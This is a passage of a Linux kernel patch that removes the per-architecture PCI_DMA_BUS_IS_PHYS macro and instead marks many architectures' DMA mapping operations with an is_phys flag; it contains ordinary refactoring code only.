-#define PCI_DMA_BUS_IS_PHYS  0
-
 /* TODO: integrate with include/asm-generic/pci.h ? */
 static inline int pci_get_legacy_ide_irq(struct pci_dev *dev, int channel)
 {
diff --git a/arch/alpha/kernel/pci-noop.c b/arch/alpha/kernel/pci-noop.c
index b995987b1557..d3208254b269 100644
--- a/arch/alpha/kernel/pci-noop.c
+++ b/arch/alpha/kernel/pci-noop.c
@@ -132,6 +132,7 @@ const struct dma_map_ops alpha_noop_ops = {
 	.map_sg			= dma_noop_map_sg,
 	.mapping_error		= dma_noop_mapping_error,
 	.dma_supported		= alpha_noop_supported,
+	.is_phys		= true,
 };
 
 const struct dma_map_ops *dma_ops = &alpha_noop_ops;
diff --git a/arch/arc/include/asm/pci.h b/arch/arc/include/asm/pci.h
index ba56c23c1b20..4ff53c041c64 100644
--- a/arch/arc/include/asm/pci.h
+++ b/arch/arc/include/asm/pci.h
@@ -16,12 +16,6 @@
 #define PCIBIOS_MIN_MEM 0x100000
 
 #define pcibios_assign_all_busses()	1
-/*
- * The PCI address space does equal the physical memory address space.
- * The networking and block device layers use this boolean for bounce
- * buffer decisions.
- */
-#define PCI_DMA_BUS_IS_PHYS	1
 
 #endif /* __KERNEL__ */
 
diff --git a/arch/arc/mm/dma.c b/arch/arc/mm/dma.c
index e9d93604ad0f..fad18261ef6a 100644
--- a/arch/arc/mm/dma.c
+++ b/arch/arc/mm/dma.c
@@ -274,5 +274,6 @@ const struct dma_map_ops arc_dma_ops = {
 	.sync_sg_for_cpu	= arc_dma_sync_sg_for_cpu,
 	.sync_sg_for_device	= arc_dma_sync_sg_for_device,
 	.dma_supported		= arc_dma_supported,
+	.is_phys		= true,
 };
 EXPORT_SYMBOL(arc_dma_ops);
diff --git a/arch/arm/include/asm/pci.h b/arch/arm/include/asm/pci.h
index 960d9dc4f380..05b2eb2dc76f 100644
--- a/arch/arm/include/asm/pci.h
+++ b/arch/arm/include/asm/pci.h
@@ -22,13 +22,6 @@ static inline int pci_proc_domain(struct pci_bus *bus)
 }
 #endif /* CONFIG_PCI_DOMAINS */
 
-/*
- * The PCI address space does equal the physical memory address space.
- * The networking and block device layers use this boolean for bounce
- * buffer decisions.
- */
-#define PCI_DMA_BUS_IS_PHYS     (1)
-
 #define HAVE_PCI_MMAP
 #define ARCH_GENERIC_PCI_MMAP_RESOURCE
 
diff --git a/arch/arm/mm/dma-mapping-nommu.c b/arch/arm/mm/dma-mapping-nommu.c
index 6db5fc26d154..1cced700e45a 100644
--- a/arch/arm/mm/dma-mapping-nommu.c
+++ b/arch/arm/mm/dma-mapping-nommu.c
@@ -208,6 +208,7 @@ const struct dma_map_ops arm_nommu_dma_ops = {
 	.sync_single_for_cpu	= arm_nommu_dma_sync_single_for_cpu,
 	.sync_sg_for_device	= arm_nommu_dma_sync_sg_for_device,
 	.sync_sg_for_cpu	= arm_nommu_dma_sync_sg_for_cpu,
+	.is_phys		= true,
 };
 EXPORT_SYMBOL(arm_nommu_dma_ops);
 
diff --git a/arch/arm/mm/dma-mapping.c b/arch/arm/mm/dma-mapping.c
index ada8eb206a90..8e120e2d9cac 100644
--- a/arch/arm/mm/dma-mapping.c
+++ b/arch/arm/mm/dma-mapping.c
@@ -200,6 +200,7 @@ const struct dma_map_ops arm_dma_ops = {
 	.sync_sg_for_device	= arm_dma_sync_sg_for_device,
 	.mapping_error		= arm_dma_mapping_error,
 	.dma_supported		= arm_dma_supported,
+	.is_phys		= true,
 };
 EXPORT_SYMBOL(arm_dma_ops);
 
@@ -220,6 +221,7 @@ const struct dma_map_ops arm_coherent_dma_ops = {
 	.map_sg			= arm_dma_map_sg,
 	.mapping_error		= arm_dma_mapping_error,
 	.dma_supported		= arm_dma_supported,
+	.is_phys		= true,
 };
 EXPORT_SYMBOL(arm_coherent_dma_ops);
 
diff --git a/arch/arm64/include/asm/pci.h b/arch/arm64/include/asm/pci.h
index 8747f7c5e0e7..9e690686e8aa 100644
--- a/arch/arm64/include/asm/pci.h
+++ b/arch/arm64/include/asm/pci.h
@@ -18,11 +18,6 @@
 #define pcibios_assign_all_busses() \
 	(pci_has_flag(PCI_REASSIGN_ALL_BUS))
 
-/*
- * PCI address space differs from physical memory address space
- */
-#define PCI_DMA_BUS_IS_PHYS	(0)
-
 #define ARCH_GENERIC_PCI_MMAP_RESOURCE	1
 
 extern int isa_dma_bridge_buggy;
diff --git a/arch/blackfin/kernel/dma-mapping.c b/arch/blackfin/kernel/dma-mapping.c
index 477bb29a7987..362902a2a418 100644
--- a/arch/blackfin/kernel/dma-mapping.c
+++ b/arch/blackfin/kernel/dma-mapping.c
@@ -168,5 +168,7 @@ const struct dma_map_ops bfin_dma_ops = {
 
 	.sync_single_for_device	= bfin_dma_sync_single_for_device,
 	.sync_sg_for_device	= bfin_dma_sync_sg_for_device,
+
+	.is_phys		= true,
 };
 EXPORT_SYMBOL(bfin_dma_ops);
diff --git a/arch/c6x/kernel/dma.c b/arch/c6x/kernel/dma.c
index 9fff8be75f58..a526dddeeac1 100644
--- a/arch/c6x/kernel/dma.c
+++ b/arch/c6x/kernel/dma.c
@@ -134,6 +134,7 @@ const struct dma_map_ops c6x_dma_ops = {
 	.sync_single_for_cpu	= c6x_dma_sync_single_for_cpu,
 	.sync_sg_for_device	= c6x_dma_sync_sg_for_device,
 	.sync_sg_for_cpu	= c6x_dma_sync_sg_for_cpu,
+	.is_phys		= true,
 };
 EXPORT_SYMBOL(c6x_dma_ops);
 
diff --git a/arch/cris/arch-v32/drivers/pci/dma.c b/arch/cris/arch-v32/drivers/pci/dma.c
index dbbd3816cc0b..aa16ce27e036 100644
--- a/arch/cris/arch-v32/drivers/pci/dma.c
+++ b/arch/cris/arch-v32/drivers/pci/dma.c
@@ -76,5 +76,6 @@ const struct dma_map_ops v32_dma_ops = {
 	.map_page		= v32_dma_map_page,
 	.map_sg                 = v32_dma_map_sg,
 	.dma_supported		= v32_dma_supported,
+	.is_phys		= true,
 };
 EXPORT_SYMBOL(v32_dma_ops);
diff --git a/arch/cris/include/asm/pci.h b/arch/cris/include/asm/pci.h
index dcfef6407ae6..eb1f7f172f4b 100644
--- a/arch/cris/include/asm/pci.h
+++ b/arch/cris/include/asm/pci.h
@@ -27,12 +27,6 @@
 #include <linux/string.h>
 #include <asm/io.h>
 
-/* The PCI address space does equal the physical memory
- * address space.  The networking and block device layers use
- * this boolean for bounce buffer decisions.
- */
-#define PCI_DMA_BUS_IS_PHYS	(1)
-
 #define HAVE_PCI_MMAP
 #define ARCH_GENERIC_PCI_MMAP_RESOURCE
 
diff --git a/arch/frv/mb93090-mb00/pci-dma-nommu.c b/arch/frv/mb93090-mb00/pci-dma-nommu.c
index 4a96de7f0af4..d58d701619e5 100644
--- a/arch/frv/mb93090-mb00/pci-dma-nommu.c
+++ b/arch/frv/mb93090-mb00/pci-dma-nommu.c
@@ -172,5 +172,6 @@ const struct dma_map_ops frv_dma_ops = {
 	.sync_single_for_device	= frv_dma_sync_single_for_device,
 	.sync_sg_for_device	= frv_dma_sync_sg_for_device,
 	.dma_supported		= frv_dma_supported,
+	.is_phys		= true,
 };
 EXPORT_SYMBOL(frv_dma_ops);
diff --git a/arch/frv/mb93090-mb00/pci-dma.c b/arch/frv/mb93090-mb00/pci-dma.c
index e7130abc0dae..8c2e9a40e57e 100644
--- a/arch/frv/mb93090-mb00/pci-dma.c
+++ b/arch/frv/mb93090-mb00/pci-dma.c
@@ -114,5 +114,6 @@ const struct dma_map_ops frv_dma_ops = {
 	.sync_single_for_device	= frv_dma_sync_single_for_device,
 	.sync_sg_for_device	= frv_dma_sync_sg_for_device,
 	.dma_supported		= frv_dma_supported,
+	.is_phys		= true,
 };
 EXPORT_SYMBOL(frv_dma_ops);
diff --git a/arch/h8300/include/asm/pci.h b/arch/h8300/include/asm/pci.h
index 7c9e55d62215..d4d345a52092 100644
--- a/arch/h8300/include/asm/pci.h
+++ b/arch/h8300/include/asm/pci.h
@@ -15,6 +15,4 @@ static inline void pcibios_penalize_isa_irq(int irq, int active)
 	/* We don't do dynamic PCI IRQ allocation */
 }
 
-#define PCI_DMA_BUS_IS_PHYS	(1)
-
 #endif /* _ASM_H8300_PCI_H */
diff --git a/arch/h8300/kernel/dma.c b/arch/h8300/kernel/dma.c
index 225dd0a188dc..0e92214310c4 100644
--- a/arch/h8300/kernel/dma.c
+++ b/arch/h8300/kernel/dma.c
@@ -65,5 +65,6 @@ const struct dma_map_ops h8300_dma_map_ops = {
 	.free = dma_free,
 	.map_page = map_page,
 	.map_sg = map_sg,
+	.is_phys = true,
 };
 EXPORT_SYMBOL(h8300_dma_map_ops);
diff --git a/arch/hexagon/kernel/dma.c b/arch/hexagon/kernel/dma.c
index 546792d176a4..3683bb9c05a2 100644
--- a/arch/hexagon/kernel/dma.c
+++ b/arch/hexagon/kernel/dma.c
@@ -207,7 +207,7 @@ const struct dma_map_ops hexagon_dma_ops = {
 	.sync_single_for_cpu = hexagon_sync_single_for_cpu,
 	.sync_single_for_device = hexagon_sync_single_for_device,
 	.mapping_error	= hexagon_mapping_error,
-	.is_phys	= 1,
+	.is_phys	= true,
 };
 
 void __init hexagon_dma_init(void)
diff --git a/arch/ia64/hp/common/sba_iommu.c b/arch/ia64/hp/common/sba_iommu.c
index aec4a3354abe..6f05aba9012f 100644
--- a/arch/ia64/hp/common/sba_iommu.c
+++ b/arch/ia64/hp/common/sba_iommu.c
@@ -1845,9 +1845,6 @@ static void ioc_init(unsigned long hpa, struct ioc *ioc)
 	ioc_resource_init(ioc);
 	ioc_sac_init(ioc);
 
-	if ((long) ~iovp_mask > (long) ia64_max_iommu_merge_mask)
-		ia64_max_iommu_merge_mask = ~iovp_mask;
-
 	printk(KERN_INFO PFX
 		"%s %d.%d HPA 0x%lx IOVA space %dMb at 0x%lx\n",
 		ioc->name, (ioc->rev >> 4) & 0xF, ioc->rev & 0xF,
diff --git a/arch/ia64/include/asm/pci.h b/arch/ia64/include/asm/pci.h
index b1d04e8bafc8..780e8744ba85 100644
--- a/arch/ia64/include/asm/pci.h
+++ b/arch/ia64/include/asm/pci.h
@@ -30,23 +30,6 @@ struct pci_vector_struct {
 #define PCIBIOS_MIN_IO		0x1000
 #define PCIBIOS_MIN_MEM		0x10000000
 
-/*
- * PCI_DMA_BUS_IS_PHYS should be set to 1 if there is _necessarily_ a direct
- * correspondence between device bus addresses and CPU physical addresses.
- * Platforms with a hardware I/O MMU _must_ turn this off to suppress the
- * bounce buffer handling code in the block and network device layers.
- * Platforms with separate bus address spaces _must_ turn this off and provide
- * a device DMA mapping implementation that takes care of the necessary
- * address translation.
- *
- * For now, the ia64 platforms which may have separate/multiple bus address
- * spaces all have I/O MMUs which support the merging of physically
- * discontiguous buffers, so we can use that as the sole factor to determine
- * the setting of PCI_DMA_BUS_IS_PHYS.
- */
-extern unsigned long ia64_max_iommu_merge_mask;
-#define PCI_DMA_BUS_IS_PHYS	(ia64_max_iommu_merge_mask == ~0UL)
-
 #define HAVE_PCI_MMAP
 #define ARCH_GENERIC_PCI_MMAP_RESOURCE
 #define arch_can_pci_mmap_wc()	1
diff --git a/arch/ia64/kernel/setup.c b/arch/ia64/kernel/setup.c
index dee56bcb993d..ad43cbf70628 100644
--- a/arch/ia64/kernel/setup.c
+++ b/arch/ia64/kernel/setup.c
@@ -123,18 +123,6 @@ unsigned long ia64_i_cache_stride_shift = ~0;
 #define	CACHE_STRIDE_SHIFT	5
 unsigned long ia64_cache_stride_shift = ~0;
 
-/*
- * The merge_mask variable needs to be set to (max(iommu_page_size(iommu)) - 1).  This
- * mask specifies a mask of address bits that must be 0 in order for two buffers to be
- * mergeable by the I/O MMU (i.e., the end address of the first buffer and the start
- * address of the second buffer must be aligned to (merge_mask+1) in order to be
- * mergeable).  By default, we assume there is no I/O MMU which can merge physically
- * discontiguous buffers, so we set the merge_mask to ~0UL, which corresponds to a iommu
- * page-size of 2^64.
- */
-unsigned long ia64_max_iommu_merge_mask = ~0UL;
-EXPORT_SYMBOL(ia64_max_iommu_merge_mask);
-
 /*
  * We use a special marker for the end of memory and it uses the extra (+1) slot
  */
diff --git a/arch/ia64/sn/kernel/io_common.c b/arch/ia64/sn/kernel/io_common.c
index 11f2275570fb..8479e9a7ce16 100644
--- a/arch/ia64/sn/kernel/io_common.c
+++ b/arch/ia64/sn/kernel/io_common.c
@@ -480,11 +480,6 @@ sn_io_early_init(void)
 	tioca_init_provider();
 	tioce_init_provider();
 
-	/*
-	 * This is needed to avoid bounce limit checks in the blk layer
-	 */
-	ia64_max_iommu_merge_mask = ~PAGE_MASK;
-
 	sn_irq_lh_init();
 	INIT_LIST_HEAD(&sn_sysdata_list);
 	sn_init_cpei_timer();
diff --git a/arch/m68k/include/asm/pci.h b/arch/m68k/include/asm/pci.h
index ef26fae8cf0b..5a4bc223743b 100644
--- a/arch/m68k/include/asm/pci.h
+++ b/arch/m68k/include/asm/pci.h
@@ -4,12 +4,6 @@
 
 #include <asm-generic/pci.h>
 
-/* The PCI address space does equal the physical memory
- * address space.  The networking and block device layers use
- * this boolean for bounce buffer decisions.
- */
-#define PCI_DMA_BUS_IS_PHYS	(1)
-
 #define	pcibios_assign_all_busses()	1
 
 #define	PCIBIOS_MIN_IO		0x00000100
diff --git a/arch/m68k/kernel/dma.c b/arch/m68k/kernel/dma.c
index 87ef73a93856..e0167418072b 100644
--- a/arch/m68k/kernel/dma.c
+++ b/arch/m68k/kernel/dma.c
@@ -165,5 +165,6 @@ const struct dma_map_ops m68k_dma_ops = {
 	.map_sg			= m68k_dma_map_sg,
 	.sync_single_for_device	= m68k_dma_sync_single_for_device,
 	.sync_sg_for_device	= m68k_dma_sync_sg_for_device,
+	.is_phys		= true,
 };
 EXPORT_SYMBOL(m68k_dma_ops);
diff --git a/arch/metag/kernel/dma.c b/arch/metag/kernel/dma.c
index f0ab3a498328..16cb4df51b8a 100644
--- a/arch/metag/kernel/dma.c
+++ b/arch/metag/kernel/dma.c
@@ -584,5 +584,6 @@ const struct dma_map_ops metag_dma_ops = {
 	.sync_single_for_cpu	= metag_dma_sync_single_for_cpu,
 	.sync_sg_for_cpu	= metag_dma_sync_sg_for_cpu,
 	.mmap			= metag_dma_mmap,
+	.is_phys		= true,
 };
 EXPORT_SYMBOL(metag_dma_ops);
diff --git a/arch/microblaze/include/asm/pci.h b/arch/microblaze/include/asm/pci.h
index 114b93488193..00478965f932 100644
--- a/arch/microblaze/include/asm/pci.h
+++ b/arch/microblaze/include/asm/pci.h
@@ -61,12 +61,6 @@ extern int pci_mmap_legacy_page_range(struct pci_bus *bus,
 
 #define HAVE_PCI_LEGACY	1
 
-/* The PCI address space does equal the physical memory
- * address space (no IOMMU).  The IDE and SCSI device layers use
- * this boolean for bounce buffer decisions.
- */
-#define PCI_DMA_BUS_IS_PHYS     (1)
-
 extern void pcibios_claim_one_bus(struct pci_bus *b);
 
 extern void pcibios_finish_adding_to_bus(struct pci_bus *bus);
diff --git a/arch/microblaze/kernel/dma.c b/arch/microblaze/kernel/dma.c
index 990bf9ea0ec6..2a9a0ec14c46 100644
--- a/arch/microblaze/kernel/dma.c
+++ b/arch/microblaze/kernel/dma.c
@@ -216,6 +216,7 @@ const struct dma_map_ops dma_direct_ops = {
 	.sync_single_for_device		= dma_direct_sync_single_for_device,
 	.sync_sg_for_cpu		= dma_direct_sync_sg_for_cpu,
 	.sync_sg_for_device		= dma_direct_sync_sg_for_device,
+	.is_phys	= true,
 };
 EXPORT_SYMBOL(dma_direct_ops);
 
diff --git a/arch/mips/include/asm/pci.h b/arch/mips/include/asm/pci.h
index 2339f42f047a..436099883022 100644
--- a/arch/mips/include/asm/pci.h
+++ b/arch/mips/include/asm/pci.h
@@ -121,13 +121,6 @@ extern unsigned long PCIBIOS_MIN_MEM;
 #include <linux/string.h>
 #include <asm/io.h>
 
-/*
- * The PCI address space does equal the physical memory address space.
- * The networking and block device layers use this boolean for bounce
- * buffer decisions.
- */
-#define PCI_DMA_BUS_IS_PHYS     (1)
-
 #ifdef CONFIG_PCI_DOMAINS_GENERIC
 static inline int pci_proc_domain(struct pci_bus *bus)
 {
diff --git a/arch/mips/mm/dma-default.c b/arch/mips/mm/dma-default.c
index e3e94d05f0fd..3cd93e0c7a29 100644
--- a/arch/mips/mm/dma-default.c
+++ b/arch/mips/mm/dma-default.c
@@ -407,6 +407,7 @@ static const struct dma_map_ops mips_default_dma_map_ops = {
 	.mapping_error = mips_dma_mapping_error,
 	.dma_supported = mips_dma_supported,
 	.cache_sync = mips_dma_cache_sync,
+	.is_phys = true,
 };
 
 const struct dma_map_ops *mips_dma_map_ops = &mips_default_dma_map_ops;
diff --git a/arch/mn10300/include/asm/pci.h b/arch/mn10300/include/asm/pci.h
index 5b75a1b2c4f6..6132966bdf30 100644
--- a/arch/mn10300/include/asm/pci.h
+++ b/arch/mn10300/include/asm/pci.h
@@ -57,12 +57,6 @@ extern void unit_pci_init(void);
 #include <linux/string.h>
 #include <asm/io.h>
 
-/* The PCI address space does equal the physical memory
- * address space.  The networking and block device layers use
- * this boolean for bounce buffer decisions.
- */
-#define PCI_DMA_BUS_IS_PHYS	(1)
-
 /* Return the index of the PCI controller for device. */
 static inline int pci_controller_num(struct pci_dev *dev)
 {
diff --git a/arch/mn10300/mm/dma-alloc.c b/arch/mn10300/mm/dma-alloc.c
index 86108d2496b3..55876a87c247 100644
--- a/arch/mn10300/mm/dma-alloc.c
+++ b/arch/mn10300/mm/dma-alloc.c
@@ -128,4 +128,5 @@ const struct dma_map_ops mn10300_dma_ops = {
 	.map_sg			= mn10300_dma_map_sg,
 	.sync_single_for_device	= mn10300_dma_sync_single_for_device,
 	.sync_sg_for_device	= mn10300_dma_sync_sg_for_device,
+	.is_phys		= true,
 };
diff --git a/arch/nios2/mm/dma-mapping.c b/arch/nios2/mm/dma-mapping.c
index 7040c1adbb5e..599bcc09c9e7 100644
--- a/arch/nios2/mm/dma-mapping.c
+++ b/arch/nios2/mm/dma-mapping.c
@@ -203,5 +203,6 @@ const struct dma_map_ops nios2_dma_ops = {
 	.sync_single_for_cpu	= nios2_dma_sync_single_for_cpu,
 	.sync_sg_for_cpu	= nios2_dma_sync_sg_for_cpu,
 	.sync_sg_for_device	= nios2_dma_sync_sg_for_device,
+	.is_phys		= true,
 };
 EXPORT_SYMBOL(nios2_dma_ops);
diff --git a/arch/openrisc/kernel/dma.c b/arch/openrisc/kernel/dma.c
index a945f00011b4..7faad429d3dc 100644
--- a/arch/openrisc/kernel/dma.c
+++ b/arch/openrisc/kernel/dma.c
@@ -245,6 +245,7 @@ const struct dma_map_ops or1k_dma_map_ops = {
 	.unmap_sg = or1k_unmap_sg,
 	.sync_single_for_cpu = or1k_sync_single_for_cpu,
 	.sync_single_for_device = or1k_sync_single_for_device,
+	.is_phys = true,
 };
 EXPORT_SYMBOL(or1k_dma_map_ops);
 
diff --git a/arch/parisc/include/asm/pci.h b/arch/parisc/include/asm/pci.h
index 96b7deec512d..3328fd17c19d 100644
--- a/arch/parisc/include/asm/pci.h
+++ b/arch/parisc/include/asm/pci.h
@@ -87,29 +87,6 @@ struct pci_hba_data {
 #define PCI_F_EXTEND		0UL
 #endif /* !CONFIG_64BIT */
 
-/*
- * If the PCI device's view of memory is the same as the CPU's view of memory,
- * PCI_DMA_BUS_IS_PHYS is true.  The networking and block device layers use
- * this boolean for bounce buffer decisions.
- */
-#ifdef CONFIG_PA20
-/* All PA-2.0 machines have an IOMMU. */
-#define PCI_DMA_BUS_IS_PHYS	0
-#define parisc_has_iommu()	do { } while (0)
-#else
-
-#if defined(CONFIG_IOMMU_CCIO) || defined(CONFIG_IOMMU_SBA)
-extern int parisc_bus_is_phys; 	/* in arch/parisc/kernel/setup.c */
-#define PCI_DMA_BUS_IS_PHYS	parisc_bus_is_phys
-#define parisc_has_iommu()	do { parisc_bus_is_phys = 0; } while (0)
-#else
-#define PCI_DMA_BUS_IS_PHYS	1
-#define parisc_has_iommu()	do { } while (0)
-#endif
-
-#endif	/* !CONFIG_PA20 */
-
-
 /*
 ** Most PCI devices (eg Tulip, NCR720) also export the same registers
 ** to both MMIO and I/O port space.  Due to poor performance of I/O Port
diff --git a/arch/parisc/kernel/pci-dma.c b/arch/parisc/kernel/pci-dma.c
index c0dfd892f70c..6ad9aed3d025 100644
--- a/arch/parisc/kernel/pci-dma.c
+++ b/arch/parisc/kernel/pci-dma.c
@@ -591,6 +591,7 @@ const struct dma_map_ops pcxl_dma_ops = {
 	.sync_sg_for_cpu =	pa11_dma_sync_sg_for_cpu,
 	.sync_sg_for_device =	pa11_dma_sync_sg_for_device,
 	.cache_sync =		pa11_dma_cache_sync,
+	.is_phys =		true,
 };
 
 static void *pcx_dma_alloc(struct device *dev, size_t size,
@@ -628,4 +629,5 @@ const struct dma_map_ops pcx_dma_ops = {
 	.sync_sg_for_cpu =	pa11_dma_sync_sg_for_cpu,
 	.sync_sg_for_device =	pa11_dma_sync_sg_for_device,
 	.cache_sync =		pa11_dma_cache_sync,
+	.is_phys =		true,
 };
diff --git a/arch/parisc/kernel/setup.c b/arch/parisc/kernel/setup.c
index 0e9675f857a5..8d3a7b80ac42 100644
--- a/arch/parisc/kernel/setup.c
+++ b/arch/parisc/kernel/setup.c
@@ -58,11 +58,6 @@ struct proc_dir_entry * proc_runway_root __read_mostly = NULL;
 struct proc_dir_entry * proc_gsc_root __read_mostly = NULL;
 struct proc_dir_entry * proc_mckinley_root __read_mostly = NULL;
 
-#if !defined(CONFIG_PA20) && (defined(CONFIG_IOMMU_CCIO) || defined(CONFIG_IOMMU_SBA))
-int parisc_bus_is_phys __read_mostly = 1;	/* Assume no IOMMU is present */
-EXPORT_SYMBOL(parisc_bus_is_phys);
-#endif
-
 void __init setup_cmdline(char **cmdline_p)
 {
 	extern unsigned int boot_args[];
diff --git a/arch/powerpc/include/asm/pci.h b/arch/powerpc/include/asm/pci.h
index 8dc32eacc97c..04c1347e2c51 100644
--- a/arch/powerpc/include/asm/pci.h
+++ b/arch/powerpc/include/asm/pci.h
@@ -91,24 +91,6 @@ extern int pci_mmap_legacy_page_range(struct pci_bus *bus,
 
 #define HAVE_PCI_LEGACY	1
 
-#ifdef CONFIG_PPC64
-
-/* The PCI address space does not equal the physical memory address
- * space (we have an IOMMU).  The IDE and SCSI device layers use
- * this boolean for bounce buffer decisions.
- */
-#define PCI_DMA_BUS_IS_PHYS	(0)
-
-#else /* 32-bit */
-
-/* The PCI address space does equal the physical memory
- * address space (no IOMMU).  The IDE and SCSI device layers use
- * this boolean for bounce buffer decisions.
- */
-#define PCI_DMA_BUS_IS_PHYS     (1)
-
-#endif /* CONFIG_PPC64 */
-
 extern void pcibios_claim_one_bus(struct pci_bus *b);
 
 extern void pcibios_finish_adding_to_bus(struct pci_bus *bus);
diff --git a/arch/powerpc/kernel/dma.c b/arch/powerpc/kernel/dma.c
index 4194bbbbdb10..df0e7bb97ab5 100644
--- a/arch/powerpc/kernel/dma.c
+++ b/arch/powerpc/kernel/dma.c
@@ -290,6 +290,7 @@ const struct dma_map_ops dma_direct_ops = {
 	.sync_sg_for_cpu 		= dma_direct_sync_sg,
 	.sync_sg_for_device 		= dma_direct_sync_sg,
 #endif
+	.is_phys			= true,
 };
 EXPORT_SYMBOL(dma_direct_ops);
 
diff --git a/arch/riscv/include/asm/pci.h b/arch/riscv/include/asm/pci.h
index 0f2fc9ef20fc..b3638c505728 100644
--- a/arch/riscv/include/asm/pci.h
+++ b/arch/riscv/include/asm/pci.h
@@ -26,9 +26,6 @@
 /* RISC-V shim does not initialize PCI bus */
 #define pcibios_assign_all_busses() 1
 
-/* We do not have an IOMMU */
-#define PCI_DMA_BUS_IS_PHYS 1
-
 extern int isa_dma_bridge_buggy;
 
 #ifdef CONFIG_PCI
diff --git a/arch/s390/include/asm/pci.h b/arch/s390/include/asm/pci.h
index 12fe3591034f..94f8db468c9b 100644
--- a/arch/s390/include/asm/pci.h
+++ b/arch/s390/include/asm/pci.h
@@ -2,8 +2,6 @@
 #ifndef __ASM_S390_PCI_H
 #define __ASM_S390_PCI_H
 
-/* must be set before including asm-generic/pci.h */
-#define PCI_DMA_BUS_IS_PHYS (0)
 /* must be set before including pci_clp.h */
 #define PCI_BAR_COUNT	6
 
diff --git a/arch/s390/pci/pci_dma.c b/arch/s390/pci/pci_dma.c
index f7aa5a77827e..90826e2010da 100644
--- a/arch/s390/pci/pci_dma.c
+++ b/arch/s390/pci/pci_dma.c
@@ -668,9 +668,6 @@ const struct dma_map_ops s390_pci_dma_ops = {
 	.map_page	= s390_dma_map_pages,
 	.unmap_page	= s390_dma_unmap_pages,
 	.mapping_error	= s390_mapping_error,
-	/* if we support direct DMA this must be conditional */
-	.is_phys	= 0,
-	/* dma_supported is unconditionally true without a callback */
 };
 EXPORT_SYMBOL_GPL(s390_pci_dma_ops);
 
diff --git a/arch/sh/include/asm/pci.h b/arch/sh/include/asm/pci.h
index 0033f0df2b3b..10a36b1cf2ea 100644
--- a/arch/sh/include/asm/pci.h
+++ b/arch/sh/include/asm/pci.h
@@ -71,12 +71,6 @@ extern unsigned long PCIBIOS_MIN_IO, PCIBIOS_MIN_MEM;
  * SuperH has everything mapped statically like x86.
  */
 
-/* The PCI address space does equal the physical memory
- * address space.  The networking and block device layers use
- * this boolean for bounce buffer decisions.
- */
-#define PCI_DMA_BUS_IS_PHYS	(dma_ops->is_phys)
-
 #ifdef CONFIG_PCI
 /*
  * None of the SH PCI controllers support MWI, it is always treated as a
diff --git a/arch/sh/kernel/dma-nommu.c b/arch/sh/kernel/dma-nommu.c
index 62b485107eae..a2ef7f19610d 100644
--- a/arch/sh/kernel/dma-nommu.c
+++ b/arch/sh/kernel/dma-nommu.c
@@ -75,7 +75,7 @@ const struct dma_map_ops nommu_dma_ops = {
 	.sync_single_for_device	= nommu_sync_single_for_device,
 	.sync_sg_for_device	= nommu_sync_sg_for_device,
 #endif
-	.is_phys		= 1,
+	.is_phys		= true,
 };
 
 void __init no_iommu_init(void)
diff --git a/arch/sparc/include/asm/pci_32.h b/arch/sparc/include/asm/pci_32.h
index 98917e48727d..cfc0ee9476c6 100644
--- a/arch/sparc/include/asm/pci_32.h
+++ b/arch/sparc/include/asm/pci_32.h
@@ -17,10 +17,6 @@
 
 #define PCI_IRQ_NONE		0xffffffff
 
-/* Dynamic DMA mapping stuff.
- */
-#define PCI_DMA_BUS_IS_PHYS	(0)
-
 #endif /* __KERNEL__ */
 
 #ifndef CONFIG_LEON_PCI
diff --git a/arch/sparc/include/asm/pci_64.h b/arch/sparc/include/asm/pci_64.h
index 671274e36cfa..fac77813402c 100644
--- a/arch/sparc/include/asm/pci_64.h
+++ b/arch/sparc/include/asm/pci_64.h
@@ -17,12 +17,6 @@
 
 #define PCI_IRQ_NONE		0xffffffff
 
-/* The PCI address space does not equal the physical memory
- * address space.  The networking and block device layers use
- * this boolean for bounce buffer decisions.
- */
-#define PCI_DMA_BUS_IS_PHYS	(0)
-
 /* PCI IOMMU mapping bypass support. */
 
 /* PCI 64-bit addressing works for all slots on all controller
diff --git a/arch/sparc/kernel/ioport.c b/arch/sparc/kernel/ioport.c
index 7eeef80c02f7..a401e8e0579d 100644
--- a/arch/sparc/kernel/ioport.c
+++ b/arch/sparc/kernel/ioport.c
@@ -656,6 +656,7 @@ const struct dma_map_ops pci32_dma_ops = {
 	.sync_single_for_device	= pci32_sync_single_for_device,
 	.sync_sg_for_cpu	= pci32_sync_sg_for_cpu,
 	.sync_sg_for_device	= pci32_sync_sg_for_device,
+	.is_phys		= true,
 };
 EXPORT_SYMBOL(pci32_dma_ops);
 
diff --git a/arch/tile/include/asm/pci.h b/arch/tile/include/asm/pci.h
index fe3de505b024..8b910e3f0620 100644
--- a/arch/tile/include/asm/pci.h
+++ b/arch/tile/include/asm/pci.h
@@ -52,13 +52,6 @@ static inline void pci_iounmap(struct pci_dev *dev, void __iomem *addr) {}
 
 #define	TILE_NUM_PCIE	2
 
-/*
- * The hypervisor maps the entirety of CPA-space as bus addresses, so
- * bus addresses are physical addresses.  The networking and block
- * device layers use this boolean for bounce buffer decisions.
- */
-#define PCI_DMA_BUS_IS_PHYS     1
-
 /* generic pci stuff */
 #include <asm-generic/pci.h>
 
@@ -185,13 +178,6 @@ extern int num_trio_shims;
 
 extern void pci_iounmap(struct pci_dev *dev, void __iomem *);
 
-/*
- * The PCI address space does not equal the physical memory address
- * space (we have an IOMMU). The IDE and SCSI device layers use this
- * boolean for bounce buffer decisions.
- */
-#define PCI_DMA_BUS_IS_PHYS     0
-
 #endif /* __tilegx__ */
 
 int __init tile_pci_init(void);
diff --git a/arch/tile/kernel/pci-dma.c b/arch/tile/kernel/pci-dma.c
index f2abedc8a080..9072e2c25e59 100644
--- a/arch/tile/kernel/pci-dma.c
+++ b/arch/tile/kernel/pci-dma.c
@@ -328,6 +328,7 @@ static const struct dma_map_ops tile_default_dma_map_ops = {
 	.sync_single_for_device = tile_dma_sync_single_for_device,
 	.sync_sg_for_cpu = tile_dma_sync_sg_for_cpu,
 	.sync_sg_for_device = tile_dma_sync_sg_for_device,
+	.is_phys = true,
 };
 
 const struct dma_map_ops *tile_dma_map_ops = &tile_default_dma_map_ops;
@@ -501,6 +502,7 @@ static const struct dma_map_ops tile_pci_default_dma_map_ops = {
 	.sync_single_for_device = tile_pci_dma_sync_single_for_device,
 	.sync_sg_for_cpu = tile_pci_dma_sync_sg_for_cpu,
 	.sync_sg_for_device = tile_pci_dma_sync_sg_for_device,
+	.is_phys = true,
 };
 
 const struct dma_map_ops *gx_pci_dma_map_ops = &tile_pci_default_dma_map_ops;
diff --git a/arch/x86/include/asm/pci.h b/arch/x86/include/asm/pci.h
index d32175e30259..fecde74ff549 100644
--- a/arch/x86/include/asm/pci.h
